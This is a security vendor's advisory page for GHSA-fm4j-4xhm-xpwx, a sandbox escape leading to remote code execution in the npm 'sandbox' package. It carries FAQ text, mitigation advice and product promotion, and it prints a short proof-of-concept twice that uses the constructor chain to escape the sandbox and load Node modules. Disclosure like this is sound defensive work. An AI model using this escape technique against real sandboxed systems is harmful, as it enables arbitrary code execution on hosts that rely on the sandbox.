How severe is GHSA-fm4j-4xhm-xpwx?

No CVSS score has been assigned to GHSA-fm4j-4xhm-xpwx yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-fm4j-4xhm-xpwx?

GHSA-fm4j-4xhm-xpwx affects the following packages: sandbox (npm). Ecosystems affected: npm.

How do I fix GHSA-fm4j-4xhm-xpwx?

No patched version of sandbox has shipped for GHSA-fm4j-4xhm-xpwx yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect GHSA-fm4j-4xhm-xpwx in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sandbox. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-fm4j-4xhm-xpwx if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-fm4j-4xhm-xpwx?

O3 pinpoints whether GHSA-fm4j-4xhm-xpwx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-fm4j-4xhm-xpwx actively exploited in the wild?

No public exploit code has been indexed for GHSA-fm4j-4xhm-xpwx yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-fm4j-4xhm-xpwx published, and has it been updated?

GHSA-fm4j-4xhm-xpwx was published on September 2, 2020 and was last updated on February 3, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

GHSA-fm4j-4xhm-xpwx

GHSA-fm4j-4xhm-xpwx is a remote code execution vulnerability in sandbox. O3 Security confirms whether GHSA-fm4j-4xhm-xpwx is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Sandbox Breakout / Arbitrary Code Execution in sandbox

Published

Sep 2, 2020

Updated

Feb 3, 2026

Affected

1 pkg

Patched

None yet

Exploits

None indexed

Exploitation data as of Feb 3, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

📦sandbox

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
📦npm	`sandbox`	≥ 0.0.0	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for sandbox. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of sandbox has shipped for GHSA-fm4j-4xhm-xpwx yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fm4j-4xhm-xpwx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fm4j-4xhm-xpwx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors. ## Proof of concept ``` var Sandbox = require("sandbox") s = new Sandbox() code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")` s.run(code) ``` ## Recommendation No fix is currently available. Consider using an alternative module until a fix is made available.

O3 Security · Impact-Aware SCA

Is GHSA-fm4j-4xhm-xpwx in your dependencies?

O3 detects GHSA-fm4j-4xhm-xpwx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works